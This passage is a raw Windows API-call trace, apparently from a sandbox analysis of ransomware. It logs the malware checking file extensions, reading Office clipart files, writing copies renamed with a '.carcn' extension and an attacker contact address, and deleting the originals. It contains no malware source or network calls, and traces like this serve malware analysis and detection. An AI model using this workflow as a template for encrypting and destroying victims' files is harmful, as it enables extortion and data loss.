(lpString1=".doc", lpString2=".WMF") returned -1 [0297.458] lstrlenW (lpString=".docx") returned 5 [0297.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.458] lstrlenW (lpString=".pdf") returned 4 [0297.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.459] lstrlenW (lpString=".xls") returned 4 [0297.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.459] lstrlenW (lpString=".xlsx") returned 5 [0297.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.459] lstrlenW (lpString=".ppt") returned 4 [0297.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.459] lstrlenW (lpString=".zip") returned 4 [0297.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.459] lstrlenW (lpString=".rar") returned 4 [0297.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.459] lstrlenW (lpString=".bz2") returned 4 [0297.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.459] lstrlenW (lpString=".7z") returned 3 [0297.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.459] lstrlenW (lpString=".dbf") returned 4 [0297.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.459] lstrlenW (lpString=".1cd") returned 4 [0297.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0297.459] lstrlenW (lpString=".jpg") returned 4 [0297.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.460] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.460] lstrlenW (lpString="BL00273_.WMF") returned 12 [0297.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0297.460] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3780) returned 1 [0297.461] CloseHandle (hObject=0x358) returned 1 [0298.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0298.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.060] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.060] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0298.060] GetLastError () returned 0x0 [0298.060] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xec4, lpOverlapped=0x0) returned 1 [0298.061] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xed0, lpOverlapped=0x0) returned 1 [0298.063] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.063] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.063] SetEndOfFile (hFile=0x350) returned 1 [0298.063] CloseHandle (hObject=0x350) returned 1 [0298.063] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.063] SetEndOfFile (hFile=0x358) returned 1 [0298.064] CloseHandle (hObject=0x358) returned 1 [0298.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0298.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.065] lstrlenW (lpString=".doc") returned 4 [0298.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.065] lstrlenW (lpString=".docx") returned 5 [0298.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.065] lstrlenW (lpString=".pdf") returned 4 [0298.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.065] lstrlenW (lpString=".xls") returned 4 [0298.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.065] lstrlenW (lpString=".xlsx") returned 5 [0298.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.065] lstrlenW (lpString=".ppt") returned 4 [0298.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.065] lstrlenW (lpString=".zip") returned 4 [0298.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.065] lstrlenW (lpString=".rar") returned 4 [0298.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.065] lstrlenW (lpString=".bz2") returned 4 [0298.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.065] lstrlenW (lpString=".7z") returned 3 [0298.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.066] lstrlenW (lpString=".dbf") returned 4 [0298.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.066] lstrlenW (lpString=".1cd") returned 4 [0298.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.066] lstrlenW (lpString=".jpg") returned 4 [0298.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.066] lstrlenW (lpString=".doc") returned 4 [0298.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.066] lstrlenW (lpString=".docx") returned 5 [0298.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.066] lstrlenW (lpString=".pdf") returned 4 [0298.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.066] lstrlenW (lpString=".xls") returned 4 [0298.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.066] lstrlenW (lpString=".xlsx") returned 5 [0298.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.066] lstrlenW (lpString=".ppt") returned 4 [0298.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.066] lstrlenW (lpString=".zip") returned 4 [0298.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.066] lstrlenW (lpString=".rar") returned 4 [0298.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.066] lstrlenW (lpString=".bz2") returned 4 [0298.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.067] lstrlenW (lpString=".7z") returned 3 [0298.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.067] lstrlenW (lpString=".dbf") returned 4 [0298.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.067] lstrlenW (lpString=".1cd") returned 4 [0298.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0298.067] lstrlenW (lpString=".jpg") returned 4 [0298.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.067] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.067] lstrlenW (lpString="BL00985_.WMF") returned 12 [0298.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.067] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3768) returned 1 [0298.067] CloseHandle (hObject=0x358) returned 1 [0298.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0298.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.068] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.068] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0298.069] GetLastError () returned 0x0 [0298.069] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xeb8, lpOverlapped=0x0) returned 1 [0298.073] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec0, lpOverlapped=0x0) returned 1 [0298.075] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.075] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.075] SetEndOfFile (hFile=0x350) returned 1 [0298.075] CloseHandle (hObject=0x350) returned 1 [0298.075] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.075] SetEndOfFile (hFile=0x358) returned 1 [0298.076] CloseHandle (hObject=0x358) returned 1 [0298.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0298.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.077] lstrlenW (lpString=".doc") returned 4 [0298.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.077] lstrlenW (lpString=".docx") returned 5 [0298.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.077] lstrlenW (lpString=".pdf") returned 4 [0298.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.077] lstrlenW (lpString=".xls") returned 4 [0298.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.077] lstrlenW (lpString=".xlsx") returned 5 [0298.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.078] lstrlenW (lpString=".ppt") returned 4 [0298.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.078] lstrlenW (lpString=".zip") returned 4 [0298.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.078] lstrlenW (lpString=".rar") returned 4 [0298.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.078] lstrlenW (lpString=".bz2") returned 4 [0298.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.078] lstrlenW (lpString=".7z") returned 3 [0298.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.078] lstrlenW (lpString=".dbf") returned 4 [0298.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.078] lstrlenW (lpString=".1cd") returned 4 [0298.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.078] lstrlenW (lpString=".jpg") returned 4 [0298.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.078] lstrlenW (lpString=".doc") returned 4 [0298.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.078] lstrlenW (lpString=".docx") returned 5 [0298.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.078] lstrlenW (lpString=".pdf") returned 4 [0298.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.078] lstrlenW (lpString=".xls") returned 4 [0298.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.078] lstrlenW (lpString=".xlsx") returned 5 [0298.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.079] lstrlenW (lpString=".ppt") returned 4 [0298.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.079] lstrlenW (lpString=".zip") returned 4 [0298.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.079] lstrlenW (lpString=".rar") returned 4 [0298.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.079] lstrlenW (lpString=".bz2") returned 4 [0298.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.079] lstrlenW (lpString=".7z") returned 3 [0298.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.079] lstrlenW (lpString=".dbf") returned 4 [0298.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.079] lstrlenW (lpString=".1cd") returned 4 [0298.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0298.079] lstrlenW (lpString=".jpg") returned 4 [0298.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.079] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.079] lstrlenW (lpString="BOAT.WMF") returned 8 [0298.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.080] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3350) returned 1 [0298.080] CloseHandle (hObject=0x358) returned 1 [0298.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0298.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0298.080] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.080] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0298.081] GetLastError () returned 0x0 [0298.081] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xd16, lpOverlapped=0x0) returned 1 [0298.082] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xd20, lpOverlapped=0x0) returned 1 [0298.083] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.084] WriteFile (in: hFile=0x350, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xe4, lpOverlapped=0x0) returned 1 [0298.084] SetEndOfFile (hFile=0x350) returned 1 [0298.084] CloseHandle (hObject=0x350) returned 1 [0298.084] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.084] SetEndOfFile (hFile=0x358) returned 1 [0298.085] CloseHandle (hObject=0x358) returned 1 [0298.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0298.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.086] lstrlenW (lpString=".doc") returned 4 [0298.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.086] lstrlenW (lpString=".docx") returned 5 [0298.086] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0298.086] lstrlenW (lpString=".pdf") returned 4 [0298.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.086] lstrlenW (lpString=".xls") returned 4 [0298.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.086] lstrlenW (lpString=".xlsx") returned 5 [0298.086] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0298.086] lstrlenW (lpString=".ppt") returned 4 [0298.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.087] lstrlenW (lpString=".zip") returned 4 [0298.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.087] lstrlenW (lpString=".rar") returned 4 [0298.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.087] lstrlenW (lpString=".bz2") returned 4 [0298.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.087] lstrlenW (lpString=".7z") returned 3 [0298.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.087] lstrlenW (lpString=".dbf") returned 4 [0298.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.087] lstrlenW (lpString=".1cd") returned 4 [0298.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.087] lstrlenW (lpString=".jpg") returned 4 [0298.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0298.088] lstrlenW (lpString=".doc") returned 4 [0298.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.088] lstrlenW (lpString=".docx") returned 5 [0298.088] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0298.088] lstrlenW (lpString=".pdf") returned 4 [0298.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.088] lstrlenW (lpString=".xls") returned 4 [0298.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.088] lstrlenW (lpString=".xlsx") returned 5 [0298.088] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0298.088] lstrlenW (lpString=".ppt") returned 4 [0298.088] 